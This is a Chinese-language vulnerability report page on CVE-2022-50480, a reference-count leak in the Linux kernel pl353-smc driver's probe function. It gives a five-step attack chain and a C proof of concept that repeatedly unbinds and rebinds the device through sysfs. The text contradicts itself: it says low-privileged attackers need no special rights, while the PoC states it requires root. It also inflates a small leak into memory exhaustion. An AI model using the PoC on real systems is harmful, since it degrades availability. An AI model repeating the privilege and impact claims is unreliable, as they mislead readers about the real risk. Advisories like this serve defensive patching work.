IPBUF安全漏洞报告
English
CVE-2022-50480 CVSS 5.5 中危

CVE-2022-50480 Linux内核pl353-smc驱动引用计数泄漏漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2022-50480
漏洞类型
引用计数泄漏(内存泄漏)
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel(pl353-smc内存控制器驱动)

相关标签

Linux Kernelpl353-smc引用计数泄漏内存泄漏设备树Xilinx Zynq内核驱动本地攻击可用性影响CVE-2022-50480

漏洞概述

CVE-2022-50480是Linux内核pl353-smc(Static Memory Controller)驱动中的一个引用计数泄漏漏洞,位于pl353_smc_probe()函数中。该漏洞源于在遍历设备树子节点时,for_each_available_child_of_node()循环的break路径缺少对应的of_node_put()调用,导致设备树节点引用未被正确释放,从而造成引用计数泄漏。

pl353-smc是Xilinx Zynq系列SoC中用于控制静态存储设备(如NOR Flash、SRAM等)的外设控制器。该驱动在系统启动或设备热插拔时被调用,pl353_smc_probe()函数负责遍历设备树中所有可用的子节点,并为每个匹配的子节点创建平台设备。

该漏洞的影响范围限于本地攻击场景,需要低权限即可触发。虽然机密性和完整性不受影响,但可能导致系统可用性下降,因为泄漏的引用计数会持续占用内核内存资源,长期运行可能导致内存耗尽或系统不稳定。该漏洞已在多个稳定内核版本中得到修复,包括5.10.x、5.15.x、5.19.x及6.0.x等系列。

技术细节

该漏洞的技术原理涉及Linux内核设备树(Device Tree)API的引用计数管理机制。在Linux内核中,for_each_available_child_of_node()宏在遍历设备树时会获取子节点的引用计数(reference count),按照内核编码规范,每次获取引用都必须在不再使用时通过of_node_put()释放,否则将导致引用计数泄漏。

在pl353_smc_probe()函数中,原有代码逻辑如下:
1. 使用for_each_available_child_of_node()遍历设备树的可用子节点
2. 在循环中调用of_match_node()匹配兼容的设备节点
3. 当匹配成功时,调用of_platform_device_create()创建平台设备
4. 如果匹配失败(!match),则通过break跳出循环

问题在于break跳出循环时,'child'节点引用未被释放。虽然of_platform_device_create()会为'child'创建一个新的引用(该函数内部已考虑了引用计数管理),但在!match路径下没有创建新引用,却也没有调用of_node_put()释放原有引用,导致引用计数永久增加。

利用方式:攻击者无需特殊权限即可触发,只需在受影响系统上加载或初始化pl353-smc驱动即可导致每次匹配失败时泄漏一个引用计数。虽然单次泄漏影响有限,但通过反复触发(如设备热插拔、模块重载等),可以累积大量泄漏的引用计数,最终耗尽内核内存资源,影响系统可用性。

攻击链分析

STEP 1
步骤1:环境准备
攻击者需要在运行受影响Linux内核版本(pl353-smc驱动存在漏洞版本)的目标系统上获取本地访问权限,需要低权限用户即可执行。
STEP 2
步骤2:定位目标设备
通过sysfs文件系统定位pl353-smc平台设备路径,通常为/sys/bus/platform/drivers/pl353-smc/下的设备节点,如e0000000.memory-controller。
STEP 3
步骤3:触发probe函数
通过sysfs的unbind/bind机制反复触发pl353_smc_probe()函数的执行,每次执行时如果匹配失败将泄漏一个设备树节点引用。
STEP 4
步骤4:累积引用计数泄漏
通过大量循环执行bind/unbind操作,持续累积引用计数泄漏,消耗内核内存资源。
STEP 5
步骤5:影响系统可用性
长时间运行后,泄漏的引用计数可能导致内核内存资源耗尽,引发系统性能下降或不稳定,影响系统可用性。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * CVE-2022-50480 PoC - Trigger refcount leak in pl353_smc_probe() * * This PoC demonstrates how to trigger the reference count leak * by repeatedly binding/unbinding the pl353-smc platform device. * * Note: Requires root privileges to access sysfs entries. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #define PL353_SMC_DRIVER_PATH "/sys/bus/platform/drivers/pl353-smc" #define PL353_SMC_DEVICE_PATH "/sys/bus/platform/drivers/pl353-smc/e0000000.memory-controller" /* Function to bind/unbind the pl353-smc driver to trigger probe() */ static int trigger_probe(void) { char buf[256]; int fd; /* Unbind the device from the driver */ fd = open(PL353_SMC_DEVICE_PATH "/driver/unbind", O_WRONLY); if (fd >= 0) { snprintf(buf, sizeof(buf), "e0000000.memory-controller\n"); write(fd, buf, strlen(buf)); close(fd); } /* Re-bind to trigger probe() again */ fd = open(PL353_SMC_DRIVER_PATH "/bind", O_WRONLY); if (fd >= 0) { snprintf(buf, sizeof(buf), "e0000000.memory-controller\n"); write(fd, buf, strlen(buf)); close(fd); } return 0; } int main(int argc, char *argv[]) { int iterations = 1000; int i; if (argc > 1) { iterations = atoi(argv[1]); } printf("CVE-2022-50480 PoC: Triggering refcount leak in pl353_smc_probe()\n"); printf("Iterations: %d\n", iterations); for (i = 0; i < iterations; i++) { trigger_probe(); usleep(1000); /* 1ms delay */ } printf("Done. Reference count should have leaked %d times.\n", iterations); return 0; }

影响范围

Linux Kernel < 5.10.150
Linux Kernel 5.11-5.15.x < 5.15.75
Linux Kernel 5.16-5.19.x < 5.19.17
Linux Kernel 6.0.x < 6.0.3

防御指南

临时缓解措施
在无法立即升级内核的情况下,可以通过在系统启动时通过内核模块黑名单机制(blacklist)禁用pl353-smc驱动模块来临时缓解该漏洞。但需要注意,禁用该驱动将导致Xilinx Zynq平台上的静态存储设备(如NOR Flash)无法正常使用。建议尽快升级到包含修复的内核版本,并定期监控系统日志中是否有与pl353-smc相关的内存分配异常信息。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表